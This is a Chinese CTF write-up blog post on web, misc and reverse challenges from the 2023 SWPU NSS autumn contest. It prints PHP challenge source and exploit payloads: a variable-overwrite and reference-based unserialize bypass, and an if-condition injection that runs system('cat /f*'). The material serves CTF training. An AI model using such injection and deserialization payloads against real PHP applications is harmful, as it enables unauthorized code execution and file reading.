2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup

简介: 2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup

非常的没有灵魂:

Pingpingping

这题需要恶补以下非法传参的PHP问题:

还有一些数组绕过问题:

backup

这题没啥可说了,反序列化之前也专门练过了。。。

hint有提示备份文件,直接访问www.zip,可以得到源代码

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){  
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}

看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

然后在反序列化的时候采取引用绕过的方式,exp如下

<?php

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
# O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
NSS大卖场
if_else
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

这题的payload应该多种多样,如下都可:

check=11==11){ system(‘cat /f*’);} /*

1) {
            echo file_get_contents('/flag');
          } elseif (1


Misc

关于压缩包伪加密的相关问题_rar伪加密改24字节后依然打不开-CSDN博客

WD code

看看这个ps处理的二维码:关于一张处理过的二维码图,如何还原。? - 知乎 (zhihu.com)

奇妙的探索之旅

文章列表 | NSSCTF

Reverse

2023年SWPU NSS 秋季招新赛 CTF Reverse‘方向WP详解-CSDN博客

哇偶,这里竟然还有游戏逆向的内容,少见,引入一片大佬文章:

奇安信攻防社区-浅谈CTF中的unity游戏逆向 (butian.net)

引入原话

unity主要可以看成两类,dll游戏和libil2cpp游戏,dll游戏比较简单,其核心代码都在 game/assets/bin/data/Managed/Assembly-CSarp.dll这个 dll 文件中

相关文章
|
Python
Python中遇到奇怪的错误ValueError: bad marshal data
不是代码出的问题,是*.pyc文件被改动了。解决方法,删除所有*.pyc文件再运行
5019 0
|
虚拟化
VMware虚拟机和主机互相ping不通排查以及解决
VMware虚拟机和主机互相ping不通排查以及解决
VMware虚拟机和主机互相ping不通排查以及解决
|
8月前
|
安全 Linux 虚拟化
VMware Tools 12.5.1 下载 - 虚拟机必备组件 (驱动和交互式服务)
虚拟机必备组件 (驱动和交互式服务)
5217 14
VMware Tools 12.5.1 下载 - 虚拟机必备组件 (驱动和交互式服务)
|
人工智能 物联网 文件存储
基于EasyAnimate模型的视频生成最佳实践
EasyAnimate是阿里云PAI平台自主研发的DiT的视频生成框架,它提供了完整的高清长视频生成解决方案,包括视频数据预处理、VAE训练、DiT训练、模型推理和模型评测等。本文为您介绍如何在PAI平台集成EasyAnimate并一键完成模型推理、微调及部署的实践流程。
|
Shell
[NISACTF 2022]ezpie- 入土为安的第十五天
[NISACTF 2022]ezpie- 入土为安的第十五天
200 0
|
存储 Java API
Mac安装jadx并配置环境
Mac安装jadx并配置环境
1467 0
|
SQL 安全 关系型数据库
[SWPUCTF 2021 新生赛]easy_sql
[SWPUCTF 2021 新生赛]easy_sql
563 0
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
812 1
|
安全 网络安全 数据安全/隐私保护
【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
【网络安全 | 密码学】密码字典生成工具crunch、cupp安装使用教程
1089 0